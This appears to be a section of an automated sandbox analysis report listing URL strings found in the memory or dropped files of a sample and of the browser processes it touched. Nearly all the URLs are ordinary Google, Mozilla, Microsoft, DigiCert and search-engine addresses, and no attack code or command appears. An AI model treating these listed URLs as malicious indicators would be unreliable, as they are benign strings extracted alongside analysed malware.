Source: chrome.exe, 00000003.00000003.2250495934.0000590800EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250709592.0000590800F84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250628451.000059080108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250746306.00005908010A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chrome.exe, 00000003.00000003.2250495934.0000590800EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252391964.00005908003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250709592.0000590800F84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251958300.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252478513.0000590800E28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251999366.00005908006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250653058.00005908010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252849188.000059080120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250628451.000059080108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252173045.0000590800FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252095489.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250746306.00005908010A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000003.00000003.2250495934.0000590800EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252391964.00005908003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250709592.0000590800F84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251958300.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252478513.0000590800E28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251999366.00005908006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250653058.00005908010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252849188.000059080120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250628451.000059080108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252173045.0000590800FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252095489.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250746306.00005908010A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000003.00000003.2250495934.0000590800EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252391964.00005908003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250709592.0000590800F84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251958300.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252478513.0000590800E28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251999366.00005908006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250653058.00005908010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252849188.000059080120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250628451.000059080108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252173045.0000590800FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252095489.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250746306.00005908010A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000003.00000003.2250495934.0000590800EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252391964.00005908003A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250709592.0000590800F84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251958300.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252478513.0000590800E28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2251999366.00005908006CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250653058.00005908010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252849188.000059080120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250628451.000059080108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252173045.0000590800FC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252095489.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2250746306.00005908010A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2633418462.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2623267844.000000001D5E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: chrome.exe, 00000003.00000003.2245287010.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252322263.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273002296.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271510874.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2304787555.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246939833.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, AFCFHDHI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000003.00000003.2260241468.0000590800328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000003.00000003.2260241468.0000590800328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chromecache_462.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_462.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000003.00000003.2272902300.000059080140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271970333.00005908014BC000.00000004.00000800.00020000.00000000.sdmp, chromecache_462.5.dr, chromecache_458.5.dr	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 00000007.00000002.2436439859.0000024AF9CCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2625998166.00000000235B1000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2625998166.00000000235B1000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: chrome.exe, 00000003.00000003.2245287010.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252322263.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273002296.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271510874.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2304787555.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246939833.0000590800C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: AFCFHDHI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2601720478.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHI.0.dr, Web Data.9.dr, GDAECAEC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2601720478.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHI.0.dr, Web Data.9.dr, GDAECAEC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000003.00000003.2245907339.0000590800DEC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2442616209.000078C800194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: chrome.exe, 00000003.00000003.2252147990.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2249432246.0000590800DEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252227511.0000590800FBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246914027.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245193537.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252614226.0000590800DEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246108021.0000590800484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2254917339.0000590800C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245258081.0000590800C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245907339.0000590800DEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000003.00000003.2238344314.00000DB80039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2238165713.00000DB800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000003.00000003.2238344314.00000DB80039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2238165713.00000DB800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2238536427.00000DB800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2238344314.00000DB80039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2238165713.00000DB800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000003.00000003.2275983633.0000590801678000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276044818.0000590801684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2276005512.0000590801680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/https://google-ohttp-relay-query.fastly-edge.com/
Source: msedge.exe, 00000007.00000002.2442616209.000078C800194000.00000004.00000800.00020000.00000000.sdmp, manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000003.00000003.2234842240.00000C58002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2234858353.00000C58002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000003.00000003.2241720843.00005908004B0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2441896079.000078C800040000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chromecache_462.5.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_462.5.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2625998166.00000000235B1000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2625998166.00000000235B1000.00000004.00000020.00020000.00000000.sdmp, BAEBGHCFCAAFIECAFIII.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000003.00000003.2273335176.000059080151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: file.exe, file.exe, 00000000.00000002.2634831293.000000006CD11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2599315739.000000000047C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2139158406.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_462.5.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000003.00000003.2252778278.0000590801134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2601720478.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245287010.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2252322263.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2273002296.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2271510874.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2304787555.0000590800C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246939833.0000590800C20000.00000004.00000800.00020000.00000000.sdmp, AFCFHDHI.0.dr, Web Data.9.dr, GDAECAEC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AFCFHDHI.0.dr, Web Data.9.dr, GDAECAEC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2601720478.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, AFCFHDHI.0.dr, Web Data.9.dr, GDAECAEC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 0023bb89-1a58-4d21-8998-0bc0a88afbdd.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
